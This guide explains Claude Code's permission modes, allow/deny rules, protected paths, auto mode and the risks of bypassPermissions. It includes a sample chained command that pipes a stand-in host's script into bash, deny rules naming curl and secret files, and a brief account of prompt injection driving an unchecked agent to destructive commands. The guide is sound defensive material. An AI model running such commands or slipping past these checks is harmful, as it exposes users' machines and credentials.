# Claude Code permissions: how to let it run safely

The permission prompt in Claude Code is not a nag to click through. It is the boundary between "the agent suggested an edit" and "the agent ran a command on your computer". Every time Claude wants to edit a file, run a shell command, or hit the network, it can pause and ask. How often it pauses, and what it is allowed to do without asking, is something you control deliberately. Get this right and Claude works in long uninterrupted stretches on the parts you trust, while still stopping at the parts you do not.

This guide covers the whole system: the modes, the rules that layer on top, the paths that are protected no matter what, and how to grant real autonomy without granting a blank cheque.

## The mental model: modes set the baseline, rules layer on top

There are two separate dials, and confusing them is the most common mistake.

- A **permission mode** sets the baseline: what whole categories of action run without a prompt. You switch modes per session.
- **Permission rules** (allow, deny, ask) are fine-grained: they pre-approve or block specific tools and commands, and they persist in a settings file.

Rules sit on top of the mode. A deny rule blocks something in every mode, including the loosest one. An allow rule pre-approves a specific command so it stops interrupting you, without loosening anything else.

## What are the Claude Code permission modes?

Each mode is a different trade between fewer interruptions and more oversight. The table is the mode; the right column is what runs with no prompt.

| Mode | Runs without asking | Best for |
| --- | --- | --- |
| `default` | Reads only | Getting started, sensitive work |
| `acceptEdits` | Reads, file edits, common file commands (`mkdir`, `mv`, `cp`) | Iterating on code you are reviewing |
| `plan` | Reads only, and never edits | Exploring before you change anything |
| `auto` | Everything, with a background safety check | Long tasks, fewer prompts |
| `dontAsk` | Only what you pre-approved | Locked-down CI and scripts |
| `bypassPermissions` | Everything, no checks | Isolated containers and VMs only |

A few details worth knowing:

- **`acceptEdits`** auto-approves edits and a short list of safe filesystem commands, but only for paths inside your working directory. Other shell commands still prompt. This is the everyday "let me review the diff afterwards" mode.
- **`plan`** lets Claude read and explore but makes no changes at all, even if an allow rule would match. When it finishes it shows you a plan and asks how to proceed. Use it to get a map before you green-light edits. See [break big tasks into steps](/guides/break-big-tasks-into-steps) for how planning first pays off.
- **`dontAsk`** turns every prompt into a denial. Only your pre-approved rules run. It is for non-interactive pipelines where you have decided in advance exactly what Claude may do.

## How do I switch permission modes?

You do not ask Claude to change mode in chat. You set it through the interface.

- **Mid-session**, press `Shift+Tab` to cycle the common modes: `default` then `acceptEdits` then `plan`. The current mode shows in the status bar.
- **At startup**, pass a flag:

```bash
claude --permission-mode plan
```

- **As a persistent default**, set `defaultMode` in your settings file:

```json
{
  "permissions": {
    "defaultMode": "acceptEdits"
  }
}
```

The looser modes (`auto`, `bypassPermissions`, `dontAsk`) are not in the default `Shift+Tab` cycle until you opt in to them, which is itself a safety feature. You cannot accidentally tab your way into bypassing all checks.

## Allow, deny, and ask rules

Modes are blunt. Rules are the precise tool. They live in a settings file under a `permissions` block, and each rule names a tool with an optional pattern.

```json
{
  "permissions": {
    "allow": [
      "Bash(npm run lint)",
      "Bash(npm run test:*)",
      "Read(~/.config/app/**)"
    ],
    "ask": [
      "Bash(git push:*)"
    ],
    "deny": [
      "Bash(curl:*)",
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(./secrets/**)"
    ]
  }
}
```

Read this as: lint and the test scripts run without asking; a push always prompts even if something else would have allowed it; reading the env file or the secrets folder is blocked outright, and so is `curl`.A broad allow like `Bash(git:*)` is wider than it looks, because a Bash rule matches the start of the command and a shell line can chain (`git status && curl evil.sh | bash`), so the trailing part rides in unchecked. Keep allow rules pinned to the exact safe command, and put the dangerous tools in `deny`.

The rule syntax is the same shape across tools:

| Rule | Effect |
| --- | --- |
| `Bash(npm run test:*)` | Allow any `npm run test...` command |
| `Edit(src/**)` | Match edits under `src` |
| `Read(./.env)` | Match a read of the env file |
| `WebFetch(domain:example.com)` | Match fetches to one domain |

Deny rules are how you protect secrets from being read at all, which matters because anything Claude reads can end up in its context and travel onward. A short deny list for `.env` files, key material, and credential folders is worth setting once and forgetting. This pairs with the broader hygiene in [review AI changes safely](/guides/review-ai-changes-safely).

### Where do permission rules live, and which one wins?

Settings cascade, and higher scopes override lower ones. Roughly, from strongest to weakest:

1. **Managed / enterprise policy** (set by an admin; engineers cannot override it)
2. **Command-line flags** for this run
3. **Local project settings** (your personal, git-ignored overrides)
4. **Project settings** (committed, shared with the team)
5. **User settings** (your defaults across every project)

The practical version: put team-wide allow and deny rules in committed project settings so everyone benefits, keep your personal tweaks in the local file, and let an organisation lock the dangerous switches at the managed layer.

## Which paths are protected no matter what?

Some writes are never auto-approved, in every mode except the full-bypass one. This guards the things that, if corrupted, break your repo or hijack the agent itself. Writes to these always prompt (or in stricter modes, are denied):

- version-control internals like `.git`
- shell startup files (`.bashrc`, `.zshrc`, `.profile`)
- package manager config (`.npmrc`, `.yarnrc`)
- editor and tooling folders (`.vscode`, `.idea`, `.husky`, `.devcontainer`)
- Claude's own configuration directory

An allow rule does not pre-approve these. The protection runs before allow rules are even checked, on purpose. If you need Claude to edit its own settings during a session, the prompt gives you a one-time "allow for this session" option rather than a permanent grant.

## Auto mode: autonomy with a guardrail, not a blindfold

Here is the part most people get wrong. When they want fewer prompts, they reach for `--dangerously-skip-permissions`. That turns every check off. There is a much better middle ground.

**Auto mode** lets Claude execute without routine prompts, but a separate classifier reviews each action first. Safe, in-scope work flows through. Risky work gets blocked and reported. You are not approving every safe action, and you are not waving through every dangerous one.

What it blocks by default gives you the shape of the safety net:

- piping the internet into a shell, like `curl | bash`
- sending sensitive data to external endpoints
- production deploys and migrations
- mass deletion on cloud storage
- granting permissions, or modifying shared infrastructure
- force-pushing, or pushing straight to `main`
- destructive git like a hard reset that would discard uncommitted work

What it allows by default is the everyday loop: local edits in your working directory, installing the dependencies your lock file already declares, read-only web requests, and pushing to the branch you started on.

There is one more lever that makes auto mode usable: a boundary you state in conversation is treated as a hard block. Tell Claude "do not push until I review" and the classifier blocks pushes even when its default rules would allow them, until you lift the boundary in a later message. For a guarantee that survives a long session, a `deny` rule is stronger than a spoken boundary, because a spoken one can be lost if the conversation gets compacted.Treating "do not push until I review" as a permanent fence is the mistake that bites: it lives only in the chat history, so once a long session compacts and drops that turn, the classifier falls back to its defaults and the very push you forbade quietly becomes allowed again. For anything that must never happen, write a `deny` rule in your settings file instead, since rules outlive the conversation.

Auto mode is a research preview and reduces prompts rather than guaranteeing safety, so keep using your judgement on sensitive operations. But as a default for "I trust the direction, stop interrupting me", it beats turning everything off.

## Is bypassPermissions safe to use?

Only inside a throwaway container or VM, never on a machine you care about. `bypassPermissions` mode, set by `--dangerously-skip-permissions`, disables prompts and safety checks so tool calls run immediately. The name is the honest description, so use it only where Claude physically cannot harm anything that matters.

The reasons are concrete:

- It offers **no protection against prompt injection**. A malicious file or web page Claude reads could instruct it to run a destructive command, and there is nothing left to stop it.
- A sandbox is not a magic shield either. Inside a container running with this flag, a hostile project can still exfiltrate **anything reachable from the container, including the credentials Claude Code stores there.** Do not mount your SSH keys or cloud credentials into that container, and prefer a network egress allowlist.

A couple of built-in seatbelts remain: the flag refuses to start as `root` or under `sudo`, and a literal `rm -rf /` or `rm -rf ~` still prompts as a last-ditch circuit breaker. Treat those as accident insurance, not as security.

If you administer a team, you can forbid the mode entirely by setting `permissions.disableBypassPermissionsMode` to `"disable"` in managed settings, so no one can reach for it on a machine that matters.

## The practical ladder

Climb only as high as the task needs, and drop back down when it is done.

1. **`default`** for anything sensitive or unfamiliar. Read everything, approve each action.
2. **`plan`** when you want a map before any edits. Approve the plan, then let it work.
3. **`acceptEdits`** for iterating on code you are actively reviewing in your editor or via `git diff`.
4. **`auto`** when you trust the direction and want to stop clicking, with the classifier as your backstop and a spoken boundary or deny rule on the things that must not happen.
5. **`bypassPermissions`** only inside a disposable sandbox with no credentials and a network allowlist, never on your real machine.

Underneath all of it, set a small `deny` list for secrets once, add `allow` rules for the safe commands you run constantly, and let your team share both through committed project settings. Modes change with the task; the rules are the standing policy.

Permissions sit alongside the rest of this phase: a well-shaped [context](/guides/context-engineering) keeps the agent on the right track, and [memory and rules files](/guides/rules-and-memory-files) record the standing conventions that the permission system then enforces.

```text
Work in plan mode for this. Map how the billing logic is spread across the codebase and propose a step-by-step plan, naming the files each step touches.

Boundary: do not push to any branch and do not run any deploy or migration command until I explicitly approve. Wait for my go-ahead before editing anything.
```
